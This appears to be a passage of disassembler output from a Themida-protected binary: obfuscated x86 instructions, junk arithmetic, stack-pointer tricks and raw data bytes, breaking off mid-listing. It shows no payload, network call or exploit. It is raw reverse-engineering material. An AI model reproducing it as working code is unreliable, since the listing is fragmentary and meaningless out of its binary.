; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 0FFFFE8BDh, 81E38953h, 4C3h, 4C38300h, 5C241C87h
		dd 4769E9h, 2DC80100h, 1EAD7396h, 592434FFh, 0E904C483h
		dd 54B0h, 51240489h, 0B1A6B353h, 5BD9287Dh, 0E904E9C0h
		dd 0FFFFCCBFh, 815DEA01h, 4EAh,	4EC8300h, 0FF241489h, 5A042474h
		dd 9CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5552E1:				; CODE XREF: Themida_:00554334j
		add	esi, 4
		push	ebp
		mov	ebp, 120D7CB9h
		push	esi
		mov	esi, 120D7CBDh
		xor	ebp, esi
		pop	esi
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		push	1
		push	dword ptr [esp]
		pop	eax
		push	75C3h
		mov	[esp], edi
		push	esp
		jmp	loc_55A416
; ---------------------------------------------------------------------------
		dd 0E930FF66h, 0FFFFA5CCh, 2434FFC3h, 51240C8Bh, 0C1815954h
		dd 4, 10EEE9h
		db 0
; ---------------------------------------------------------------------------


loc_555331:				; CODE XREF: Themida_:0054FCB4j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	3F60h
		mov	[esp], ebx
		push	11AE6BACh
		pop	ebx
		jmp	loc_55021B
; ---------------------------------------------------------------------------


loc_555359:				; CODE XREF: Themida_:00553884j
		push	dword ptr [esp]
		jmp	loc_5586DD
; ---------------------------------------------------------------------------


loc_555361:				; CODE XREF: Themida_:0055202Aj
		push	eax
		mov	eax, 1C413945h
		jmp	loc_559A6F
; ---------------------------------------------------------------------------
		dd 5917F581h, 0ED814219h, 0F0FA569Dh, 5999E9h, 24048F00h
		dd 8924248Bh, 0E589242Ch, 4C581h, 76E90000h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555393:				; CODE XREF: Themida_:00552CAEj
		pop	esi
		shr	esi, 5
		push	edx
		mov	edx, 2CB02F50h
		dec	edx
		jmp	loc_556CBD
; ---------------------------------------------------------------------------


loc_5553A3:				; CODE XREF: Themida_:00556A04j
		push	esi
		push	eax
		mov	eax, 0DCA326Fh
		sub	eax, 0B9691F45h
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		inc	esi
		or	esi, 398212CFh
		jmp	loc_553D84
; ---------------------------------------------------------------------------


loc_5553C6:				; CODE XREF: Themida_:00558CECj
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55003A
; ---------------------------------------------------------------------------
		dw 0FF53h
		dd 5B042474h, 8B24048Fh, 4312424h, 1E99C24h, 57FFFFA5h
		dd 0CB9189BFh, 1D34E9CBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5553F2:				; CODE XREF: Themida_:005522FCj
		add	esp, 4
		jmp	loc_559A57
; ---------------------------------------------------------------------------


loc_5553FA:				; CODE XREF: Themida_:0055896Fj
		pop	esp
		jmp	loc_54F8E8
; ---------------------------------------------------------------------------
aUfSFRfUs@	db 'Ufs>frf)@',0
		dd 243C8900h, 11D1E9h
		db 0
; ---------------------------------------------------------------------------


loc_555419:				; CODE XREF: Themida_:005548F3j
		shr	ecx, 7
		push	ebx
		mov	ebx, 1Ch
		add	ebx, 79376C9Ah
		sub	ebx, 5035372Bh
		add	ebx, edi
		add	ebx, 5035372Bh
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 6D5B29CFh
		inc	esi
		xor	esi, 10A9397Eh
		add	esi, 13F56174h
		neg	esi
		not	esi
		jmp	loc_552018
; ---------------------------------------------------------------------------
		dw 0F789h
		dd 8124348Bh, 4C4h, 5FF90100h, 0E9240C33h, 3283h, 182FBE56h
		dd 0C5BB6E32h, 0E9B17A66h, 0FFFFD168h
; ---------------------------------------------------------------------------


loc_555480:				; CODE XREF: Themida_:00552DD6j
		or	ebx, 1E5E788Fh
		push	edi
		mov	edi, 14580629h
		jmp	loc_5538F8
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 32h
		dd 8179E81Dh, 0B9FBDAC7h, 8BFB01D3h, 0C481243Ch, 4, 8704EB83h
		dd 895C241Ch, 87E92404h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5554B7:				; CODE XREF: Themida_:00554208j
		mov	esi, [esp]
		push	ecx
		jmp	loc_55A012
; ---------------------------------------------------------------------------
		dd 1DED6866h, 24148966h, 886CB050h, 24048BC2h, 4C481h
		dd 51660000h, 0C828C5B1h, 0F22C5966h, 0F204D000h, 94E9C504h
		dd 89000066h, 0E0892404h, 405h,	40500h,	4870000h, 2C335C24h
		dd 242C3124h, 1500E9h, 0C8B6600h, 4EC8124h, 89000000h
		dd 0E2892414h, 4271BD55h, 0EDD12FE1h, 0AFED8145h, 0C15B501Ah
		dd 0F58103EDh, 179410D5h, 0FFFD93E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555535:				; CODE XREF: Themida_:005504C5j
		push	edi
		push	esi
		jmp	loc_555E17
; ---------------------------------------------------------------------------


loc_55553C:				; CODE XREF: Themida_:00558F77j
		sub	ebx, esi
		pop	esi
		sub	ebx, 0F45832EEh
		mov	edx, ebx
		pop	ebx
		jmp	loc_5589CB
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 1E3BE381h, 0EB814A15h, 38DA6F57h, 0FFE9h, 2B96600h
		dd 66576600h, 0E92018BFh, 0FFFFC2F4h, 0BB241C89h, 32CB10F0h
		dd 51EBD143h, 0CB6142B9h, 59CB2101h, 0C988E950h, 0E089FFFFh
		dd 0FFC781E9h, 4C481FFh, 0C1000000h, 0E98105E9h, 11736696h
		dd 0B1C8F181h, 0C889EFC5h, 42E4E9h, 4BA00h, 0C7810000h
		dd 33A23189h, 84E9D701h, 89FFFFEFh, 44E9241Ch, 33FFFFD1h
		dd 14312414h, 24143324h, 1124E95Ch, 0A9680000h,	8B61DD73h
		dd 0C481242Ch, 4, 4CEDED81h, 0EF813C84h, 5DB9353Ah, 0C781EF01h
		dd 5DB9353Ah, 52CF015Dh, 24D3E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555602:				; CODE XREF: Themida_:005536A5j
		mov	ecx, [edx]
		push	dword ptr [esp]
		pop	edx
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		jmp	loc_5516DF
; ---------------------------------------------------------------------------
aYh_		db '(Yh_',0
		align 2
		dw 1489h
		dd 51C28824h, 6319E9h, 0DAE9AD00h, 0AC00003Dh, 0E22C6C2Ch
		dd 60C5E9h, 8B665C00h, 1368240Ch, 0E900007Eh, 0FFFFEBFFh
		dd 5C241C87h, 0FFC438E9h, 0E9CD01FFh, 4647h, 0E9D830ACh
		dd 38D7h, 0B8BBC381h, 0FF53F8EEh, 81592434h, 4C4h, 0F4DDE900h
		dd 5A5AFFFFh, 3BA0E9h, 81DAF700h, 93E5F9EAh, 5AD609F2h
		dd 7FFBF681h, 0F5010CEDh, 0E924348Bh, 3E90h, 315FF831h
		dd 97BB53C3h, 52380241h, 94380ABAh, 0E9D2F70Ch,	0FFFFA5E1h
		dd 0C1E9FA89h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5556B7:				; CODE XREF: Themida_:00556F4Dj
		mov	[esp], eax
		mov	eax, 0FFFFFFFFh
		add	edi, eax
		pop	eax
		jmp	loc_5508F7
; ---------------------------------------------------------------------------
		db 66h
		dd 5524048Bh, 0FFEB6FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5556D1:				; CODE XREF: Themida_:00559563j
		not	bl
		xor	dh, bl
		xor	bl, dh
		xor	dh, bl
		push	51AEh
		mov	[esp], ecx
		mov	cl, dh
		jmp	loc_555263
; ---------------------------------------------------------------------------
		dd 0D9F6E8B1h, 0FE05E1C0h, 0FAF180C1h, 0C059CE88h, 0E68008EEh
		dd 75B55126h, 0FFAA2BE9h, 0C8B66FFh, 63F6E924h,	0F7010000h
		dd 0D3A3E95Eh, 575FFFFFh, 4BFh,	0E9F90100h, 0FFFFD845h
		dd 0E91C4709h, 0FFFFF910h, 24048B66h, 0E904EC83h, 0FFFFDF97h
		dd 0FA3B850h, 0C687FBDh, 89000077h, 11BF243Ch, 8125907Bh
		dd 0B94F1EC7h, 0B6CF8154h, 0F76B456Eh, 6DF781D7h, 50AEF913h
		dd 3FBDD1B8h, 58C729D9h, 0F109402Dh, 5F8295Eh, 5EF10940h
		dd 0FFFF055Fh, 0BA52FFFFh, 2EB1CB42h, 15AD031h,	64FCE9C1h
		dd 0D3010000h, 2EB8C381h, 0EB814ED2h, 73393147h, 81C3295Ah
		dd 0BF6D98EBh, 4EC8357h, 0E9240489h, 0FFFFF3EBh, 2AE949B6h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5557B3:				; CODE XREF: Themida_:00552651j
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_553DF4
; ---------------------------------------------------------------------------
		dd 0E958C221h, 0FFFFB272h, 0C8BCF29h, 57E95024h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5557D7:				; CODE XREF: Themida_:00554A53j
		xor	edi, esi
		jmp	loc_559FD7
; ---------------------------------------------------------------------------
		dw 0F001h
		dd 7A53BB53h, 0D8292172h, 0D468575Bh, 0E9425A15h, 0FFFFE5D5h
		dd 0F781DFF7h, 0C919E728h, 3C8BFE89h, 0E1895124h, 4C181h
		dd 0C1810000h, 4, 5C240C87h, 34FFF301h,	0C4835E24h, 74FF5304h
		dd 0E95B0424h, 0FFFFA6FFh, 5CCEBE66h, 0FFB77FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555831:				; CODE XREF: Themida_:005591DBj
		push	eax
		mov	eax, 6DD72F8Dh
		jmp	loc_555B09
; ---------------------------------------------------------------------------
		dd 4C7815Fh, 51000000h,	4CA9BA52h, 0E2C16A02h, 5E2C106h
		dd 448EA81h, 0EA813E4Ah, 17170567h, 0C1B3C281h,	0D18942FBh
		dd 0B9EF815Ah, 0E912A957h, 49CAh, 8AF9F181h, 0CF31901Ch
		dd 49EF8159h, 0E9402E9Ah, 0FFFFFE14h
; ---------------------------------------------------------------------------


loc_555884:				; CODE XREF: Themida_:00557A21j
		mov	edi, esp
		jmp	loc_554F4B
; ---------------------------------------------------------------------------
		db 5Ch
		dd 2C181h, 0C330000h, 240C3124h, 0FFAC3DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55589D:				; CODE XREF: Themida_:005527CEj
		add	ebp, 4
		jmp	loc_552373
; ---------------------------------------------------------------------------


loc_5558A8:				; CODE XREF: Themida_:005512F9j
		pop	esi
		jmp	loc_5573BF
; ---------------------------------------------------------------------------
aYsdg		db ')YG',0
		align 2
		dw 34FFh
		dd 240C8B24h, 81E38953h, 4C3h, 4C38100h, 87000000h, 0A4E9241Ch
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5558D3:				; CODE XREF: Themida_:005577E7j
		add	eax, 56762060h
		jmp	loc_551D25
; ---------------------------------------------------------------------------
		db 50h,	89h, 0E0h
		dd 405h, 40500h, 4870000h, 0B5E95C24h, 66000018h, 83240C8Bh
		dd 0DDE904ECh, 5FFFFF2h, 7FE310C2h, 28FCE9h, 0B699B500h
		dd 59EE287Ah, 0E90FB551h, 45E5h, 0E957EF89h, 2CE2h, 4BBh
		dd 8BDA0100h, 0ABE9241Ch, 8100005Bh, 831351EEh,	240C8B1Eh
		dd 0A22E9h, 0FFE82800h,	34FF2434h, 16D9E924h, 0C15B0000h
		dd 0EC8107E9h, 4, 1640E9h
		db 0
; ---------------------------------------------------------------------------


loc_555959:				; CODE XREF: Themida_:0055AD01j
		add	eax, edi
		sub	eax, 424960F8h
		pop	edi
		add	ebp, 713C14DBh
		add	ebp, eax
		sub	ebp, 713C14DBh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5566E9
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0C8h
		dd 1A0FA46h, 68505EF2h,	4D435751h, 8324048Bh, 0A6E904C4h
		dd 89FFFFD4h, 0D1BB53E7h, 8146D94Eh, 0D94ED5F3h, 5BDF0146h
		dd 8304C783h, 9AE904ECh, 8100002Dh, 4C4h, 4C18100h, 52000000h
		dd 2BAh, 5AD10100h, 207CE955h, 0C8B0000h, 0C4E95024h, 5FFFFFE4h
		dd 0CCE9D101h, 2CFFFFD6h, 5A545255h, 4C281h, 0B8500000h
		dd 6A244568h, 2D0DB305h, 0FAE94005h, 0FFFFFFE0h, 2DE92434h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555A03:				; CODE XREF: Themida_:005569E2j
		add	esp, 4
		push	edi
		mov	edi, 3D9837F3h
		xor	ecx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5560AA
; ---------------------------------------------------------------------------


loc_555A20:				; CODE XREF: Themida_:0055097Fj
		xor	ebx, 6D0A1438h
		add	ecx, ebx
		jmp	loc_556066
; ---------------------------------------------------------------------------
aSp		db '\P+',0
		dw 0B900h
aGRs_		db 'GR_+',0
		dd 5FFB0100h, 1739E9h
		db 0
; ---------------------------------------------------------------------------


loc_555A45:				; CODE XREF: Themida_:00555ED9j
		and	bl, 0F2h
		jmp	loc_558FBE
; ---------------------------------------------------------------------------
aZsJ		db '&J',0
		align 4
		dd 4C781h, 0C7830000h, 243C8704h, 5724248Bh, 9441A168h
		dd 0AE9EE937h, 1489FFFFh, 68E28924h, 7936h, 0E9240489h
		dd 0D07h, 148B5452h, 4C48124h, 81000000h, 4C2h,	0E84FE900h
		dd 0EE81FFFFh, 65E558EBh, 1121C681h, 48B5533h, 0B1FEE924h
		dd 0C383FFFFh, 241C8704h, 0E924248Bh, 0FFFF9E30h, 46850h
		dd 1580000h, 0E9042444h, 3B49h
; ---------------------------------------------------------------------------


loc_555AC8:				; CODE XREF: Themida_:00553A6Dj
		push	ebx
		mov	ebx, 62D832BBh
		add	ecx, ebx
		pop	ebx
		xor	ecx, 69F7717Eh
		jmp	loc_55A79D
; ---------------------------------------------------------------------------
		dd 6E8168h, 243C8900h, 4BFh, 0D7ED8100h, 121FC50h, 0D7C581FDh
		dd 5F21FC50h, 4ED81h, 2C870000h, 24248B24h, 0FFEB63E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555B09:				; CODE XREF: Themida_:00555837j
		dec	eax
		shr	eax, 5
		xor	eax, 635C162Ch
		not	eax
		inc	eax
		xor	eax, 0DD8C4780h
		xor	ebp, eax
		pop	eax
		or	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55755C
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 9Bh
		dd 66FFFFFEh, 81240C8Bh, 4ECh, 241C8900h, 0A1685B54h, 0E900001Ah
		dd 294Bh, 1836E681h, 0CE816D24h, 7B4E3335h, 4EC81h, 2EE90000h
		dd 81000025h, 2FF67AEBh, 5BD889F7h, 0E9E9C301h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555B73:				; CODE XREF: Themida_:00558913j
		pop	ebx
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5509EA
; ---------------------------------------------------------------------------
		db 81h
		dd 7A32D3E7h, 0E781474Bh, 61A40BD8h, 76B3F781h,	0F82922BBh
		dd 81243C8Bh, 4C4h, 5F80100h, 229B7463h, 0DFB68h, 242C8900h
		dd 48B008Fh, 4C48324h, 81242C8Bh, 4C4h,	2434FF00h, 24ADE9h
		db 0
; ---------------------------------------------------------------------------


loc_555BC5:				; CODE XREF: Themida_:00559F2Cj
		and	ecx, ebp
		pop	ebp
		shr	ecx, 2
		push	ebx
		push	ebx
		mov	ebx, 7DD91E8Ch
		xor	[esp+4], ebx
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		push	esi
		push	6D702697h
		pop	esi
		dec	esi
		not	esi
		inc	esi
		or	esi, 4C561461h
		push	eax
		jmp	loc_559654
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0C3FDE952h, 0CD81FFFFh, 106A6FE4h, 6F10C581h, 0EE893E75h
		dd 0A430E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555C12:				; CODE XREF: Themida_:00550E38j
		inc	edx
		and	edx, 0E0E4A08h
		push	esi
		mov	esi, 5CFE1E52h
		inc	esi
		inc	esi
		or	esi, 74FA00F1h
		xor	esi, 369B61DDh
		xor	esi, 4A617F2Ch
		xor	edx, esi
		jmp	loc_552B08
; ---------------------------------------------------------------------------
		dw 62BDh
		dd 8155E86Ah, 3426EBEDh, 5DE8311Ah, 4DEDE9h, 0E9F70000h
		dd 16A5h, 3A20BB53h, 0E3C176F8h, 43DBF706h, 9ECEB81h, 0C3813D22h
		dd 85FFA223h, 0C15BDD01h, 6806EDh, 29000000h, 0E95D242Ch
		dd 27A2h, 4EC81h, 4890000h, 2AE95424h, 29FFFFE5h, 143005F0h
		dd 348B66E0h, 4C48324h,	815F5457h, 4C7h, 4EF8300h, 5C243C87h
		dd 0BF243C89h, 3C51F999h, 0F65D9D05h, 2FA42D20h, 0BBE979E5h
		dd 0FFFFFFF1h, 34FF2434h, 0C4815824h, 4, 5D1C68h, 240C8900h
		dd 2434FF54h, 0FF9EF4E9h, 24148BFFh, 4C481h, 77E90000h
		dd 59FFFFB3h, 0FFA0D8E9h, 58E288FFh, 51A6CA80h,	0FE8E9h
		dd 3ECD6800h, 90E90000h, 500005Bh, 4, 0FFBC7CE9h, 81DDF7FFh
		dd 117B7DCDh, 0FBED8169h, 0E96BFD7Fh, 2B1Fh, 81E78957h
		dd 4C7h, 4C78300h, 8B243C87h, 15E2424h,	0DAE95AD0h, 56FFFFEEh
		dd 7740E968h, 2434FF0Eh, 0A86EE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555D52:				; CODE XREF: Themida_:00556934j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_551D71
; ---------------------------------------------------------------------------


loc_555D68:				; CODE XREF: Themida_:00550E9Aj
		mov	ebx, 0
		push	ecx
		jmp	loc_550D26
; ---------------------------------------------------------------------------
		db 1
		dd 243C8BF8h, 4C481h, 0D8290000h, 9743502Dh, 5AA60530h
		dd 0E9522BE4h, 357Ch, 87D5F74Dh, 2D49E9FDh, 248B0000h
		dd 9B46E924h, 0EC83FFFFh, 24048904h, 183E9h, 0E94A4A00h
		dd 0FFFFBA43h
; ---------------------------------------------------------------------------


loc_555DB4:				; CODE XREF: Themida_:005521B1j
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_54F8E8
; ---------------------------------------------------------------------------
		dw 3005h
		dd 50FED7A7h, 0C1815859h, 571A1549h, 0BA6C981h,	0D9E91368h
		dd 81FFFFE4h, 6D2FFFE9h, 8BCB0160h, 0C481240Ch,	4, 348FB951h
		dd 0F181365Bh, 397E6360h, 2073E9h
		db 0
; ---------------------------------------------------------------------------


loc_555E01:				; CODE XREF: Themida_:00557F83j
		mov	edi, 59E41E73h
		sub	edx, edi
		pop	edi
		jmp	loc_558EEE
; ---------------------------------------------------------------------------


loc_555E0E:				; CODE XREF: Themida_:005577F5j
		pop	esp
		movzx	eax, al
		jmp	loc_55298B
; ---------------------------------------------------------------------------


loc_555E17:				; CODE XREF: Themida_:00555537j
		mov	esi, 18873C9Fh
		jmp	loc_54FE81
; ---------------------------------------------------------------------------
		db 0C0h, 0E8h, 2
		dd 0E8C0C8FEh, 0E98C2C02h, 0FFFFA6A0h, 4C481h, 5DE90000h
		dd 0B300000Ch, 5EBC044h, 0FFBA78E9h, 5D34BDFFh,	0EB313BDAh
		dd 0B495E95Dh, 0BF57FFFFh, 63B849F3h, 0C781EFD1h, 718D56AEh
		dd 6F89EF81h, 0EFC149ADh, 0ADEF8104h, 29FE3F45h, 0E95A5FF8h
		dd 0FFFFF0EAh, 8704C683h, 0E95C2434h, 0FFFFB557h, 0EB81FB87h
		dd 1, 0D7F7FB87h, 814BFB87h, 0F4041AC3h, 83F38155h, 815BEE5Bh
		dd 99B380C3h, 3818E926h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555EAA:				; CODE XREF: Themida_:005560B4j
		sub	esp, 4
		mov	[esp], edx
		push	esi
		jmp	loc_5515FB
; ---------------------------------------------------------------------------
		db 0Dh,	28h, 71h
		dd 0D0F7225Bh, 0FFFD5E35h, 58C131E3h, 0E959CA29h, 5E03h
		dd 0E9ACB753h, 0FFFFE8D0h
; ---------------------------------------------------------------------------


loc_555ED8:				; CODE XREF: Themida_:0055B8BEj
		pop	edx
		jmp	loc_555A45
; ---------------------------------------------------------------------------


loc_555EDE:				; CODE XREF: Themida_:0055BF56j
		push	edx
		mov	dh, 3Eh
		xor	dh, 7Dh
		inc	dh
		xor	dh, 48h
		neg	dh
		or	dh, 79h
		sub	dh, 50h
		add	cl, 49h
		add	cl, dh
		sub	cl, 49h
		pop	edx
		add	bl, 0F2h
		jmp	loc_54FA80
; ---------------------------------------------------------------------------
		dw 302Dh
		dd 0E966E014h, 0FFFFFD83h, 0E95AD701h, 0FFFFD53Fh, 0E778BF57h
		dd 0F931F164h, 59CA015Fh, 5EA8E9h, 66EAD000h, 0E9144B68h
		dd 4EC7h, 681FF468h, 0F6355847h, 8947681Fh, 0B95158C3h
		dd 2A273966h, 2959CE29h, 66C681DEh, 5B2A2739h, 31243433h
		dd 34332434h, 24248B24h, 24048966h, 0FF9983E9h,	0E2E952FFh
		dd 81FFFFFAh, 6B74A7EBh, 8CE95211h, 68FFFFC7h, 2B1657F6h
		dd 47D7F75Fh, 6F41B850h, 0E0C1637Dh, 6E0C107h, 5F37BA52h
		dd 0E2817CA7h, 6BC57320h, 0E2C1DAF7h, 31CA8103h, 8153704Eh
		dd 4E7033C2h, 2CEA8151h, 292D1872h, 0D8F75AD0h,	99125805h
		dd 2BABE9B3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555FBE:				; CODE XREF: Themida_:0055BEF7j
		mov	edi, 4674221Dh
		add	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		pop	eax
		jmp	loc_55043D
; ---------------------------------------------------------------------------
		db 51h
		dd 4B9h, 0CBBE5600h, 81108C7Fh,	6E5E26CEh, 0E0E68176h
		dd 0C1591331h, 0EE8102E6h, 0C1D77C11h, 32E9F501h, 1FFFFBCh
		dd 0E0E958C2h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556003:				; CODE XREF: Themida_:00552A15j
		push	ebx
		mov	ebx, 1B63B14h
		sub	ecx, ebx
		pop	ebx
		dec	ecx
		jmp	loc_5568F4
; ---------------------------------------------------------------------------
		dw 3B68h
		dd 89000029h, 0E189240Ch, 4C181h, 11E90000h, 1FFFFF7h
		dd 7C1905C8h, 1DE94E7Ah
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556033:				; CODE XREF: Themida_:00559E24j
		mov	al, 0F9h
		shr	al, 3
		sub	al, 0FFh
		shl	al, 6
		and	al, 96h
		xor	al, 4Dh
		push	cx
		mov	ch, 94h
		sub	al, ch
		pop	cx
		mov	ch, al
		pop	eax
		shr	ch, 3
		push	708h
		jmp	loc_55BA70
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 21h
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55605F:				; CODE XREF: Themida_:0055A9C9j
		add	ebp, edx
		jmp	loc_5576F3
; ---------------------------------------------------------------------------


loc_556066:				; CODE XREF: Themida_:00555A28j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ecx, edi
		push	esi
		mov	esi, 35742D34h
		dec	esi
		xor	esi, 4D762F8Bh
		sub	ecx, esi
		pop	esi
		mov	eax, [ecx]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_555187
; ---------------------------------------------------------------------------
		db 1, 0CFh, 59h
a313SH		db '3<$1<$3<$H',0
		align 2
		dw 248Bh
		dd 4896624h, 983EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5560AA:				; CODE XREF: Themida_:00555A1Bj
		mov	eax, 2FDE0D42h
		add	eax, 392C0DA6h
		jmp	loc_555EAA
; ---------------------------------------------------------------------------
		db 0F7h, 0DFh, 0E9h
		dd 0CE2h, 2474FF56h, 48F5E04h, 0AF685C24h, 8900000Bh, 0EC81240Ch
		dd 4, 0B2241489h, 0F6CAFE6Bh, 0F6DAF6D2h, 80C2FEDAh, 64E957C2h
		dd 89000001h, 4C581E5h,	0E9000000h, 0FFFFA0A3h,	2E08BB53h
		dd 0C38157D8h, 6AEA72E9h, 814B4343h, 931AC6C3h,	31EBE90Dh
		dd 0E3C00000h, 2104E904h, 0C5E90000h, 58FFFF97h, 4C481h
		dd 68510000h, 7BC9h, 81242489h,	42404h,	0E9590000h, 0FFFFEF66h
; ---------------------------------------------------------------------------


loc_556140:				; CODE XREF: Themida_:005589B3j
		mov	esi, 74F216C9h
		xchg	ebx, esi
		inc	ebx
		push	esi
		push	ebx
		pop	esi
		pop	ebx
		shr	esi, 4
		push	edx
		mov	edx, 52E1595Ah
		sub	edx, 0FFFFFFFFh
		sub	edx, 1
		push	eax
		mov	eax, 33B25499h
		not	eax
		shl	eax, 2
		shl	eax, 3
		inc	eax
		jmp	loc_554BB1
; ---------------------------------------------------------------------------


loc_55616F:				; CODE XREF: Themida_:00552CD5j
		mov	edx, 5BF2040Eh
		sub	edi, edx
		pop	edx
		xor	edi, 1BA2B1B2h
		mov	ebp, edi
		jmp	loc_55A6B5
; ---------------------------------------------------------------------------
		dd 0FF975FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556189:				; CODE XREF: Themida_:0055301Cj
		push	59B1h
		mov	[esp], edi
		jmp	loc_54F91E
; ---------------------------------------------------------------------------
		dw 0F031h
		dd 0E7ACE95Eh, 3D35FFFFh, 2D5B5E02h, 1,	0FFC926E9h, 799C2DFFh
		dd 0C2291B68h, 74FF5258h, 8F5A0424h, 8E92404h
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5561C3:				; CODE XREF: Themida_:00551310j
		pop	esp
		pop	esi
		push	edx
		mov	eax, [esp]
		add	esp, 4
		pop	edx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_554082
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E8C108E0h, 1C8DE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5561F2:				; CODE XREF: Themida_:0055B614j
		mov	edx, [esp]
		push	1C40h
		mov	[esp], eax
		mov	eax, esp
		push	ebp
		mov	ebp, 4E564041h
		add	ebp, 0B1A9BFC3h
		add	eax, ebp
		pop	ebp
		jmp	loc_55B02C
; ---------------------------------------------------------------------------
		db 0BAh
		dd 2, 6C4BC381h, 0D3012693h, 2057E9h, 34875800h, 0B82FE924h
		dd 0F830FFFFh, 241C8B66h, 763668h, 243C8900h, 0C781E789h
		dd 4, 8702C783h, 835C243Ch, 61E904ECh, 50FFFFF0h, 0AEE9D088h
		dd 66FFFFD9h, 66241489h, 81E99C50h
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556267:				; CODE XREF: Themida_:0055A7F7j
		add	esp, 4
		push	68FFh
		mov	[esp], ebx
		mov	ebx, 1
		and	eax, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5583C2
; ---------------------------------------------------------------------------
		db 5Fh
		dd 59A3B850h, 0E8C12CAFh, 5E0C105h, 0FFB77AE9h,	4C481FFh
		dd 52000000h, 4BAh, 0F5BB5300h,	2965C533h, 0D5015BDDh
		dd 33F5C581h, 3E965C5h,	0C1000024h, 0C14E05E6h,	0D6F704EEh
		dd 1172EE81h, 0F681217Fh, 0CA02890Dh, 0E95EF731h, 3CAAh
; ---------------------------------------------------------------------------


loc_5562D8:				; CODE XREF: Themida_:00559D99j
		idiv	cl
		movzx	cx, ah
		push	small 7153h
		mov	[esp], cx
		jmp	loc_555064
; ---------------------------------------------------------------------------
		db 51h
		dd 42474FFh, 0A25AE959h, 0EE80FFFFh, 5AF0285Fh,	50667224h
		dd 24D3E9h, 6A6BF00h, 0FA0179AEh, 1DEA815Fh, 8B516F1Bh
		dd 0C4812434h, 4, 0FFBFF5E9h, 8BC209FFh, 0C4812404h, 4
		dd 71FE9h, 0F5814500h, 4754542Ah, 0D7E9E989h, 51FFFF9Ch
		dd 0F5885150h, 7DE9E888h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55634B:				; CODE XREF: Themida_:00557ABFj
		xor	ebp, esi
		jmp	loc_552F2C
; ---------------------------------------------------------------------------
		dw 3487h
		dd 4285C24h, 89E99C24h,	83FFFF95h, 0C68104C4h, 59330A40h
		dd 0FFFE29E9h, 0EB685CFFh, 8900000Dh, 0E2892414h, 0FFDF92E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55637D:				; CODE XREF: Themida_:00553D05j
		neg	edx
		add	edx, 0EF696ED6h
		xor	ebx, edx
		pop	edx
		add	ecx, ebx
		pop	ebx
		push	1103h
		mov	[esp], esi
		jmp	loc_552931
; ---------------------------------------------------------------------------
		dd 8145DDF7h, 0AA986DF5h, 0E9E901CBh, 5B11h, 6C44C581h
		dd 0E901FC2Dh, 4C1835Dh, 31240C33h, 0C33240Ch, 87E95C24h
		dd 81000011h, 1C2h, 21F28100h, 57A3EECFh, 12757BBFh, 0D3C78127h
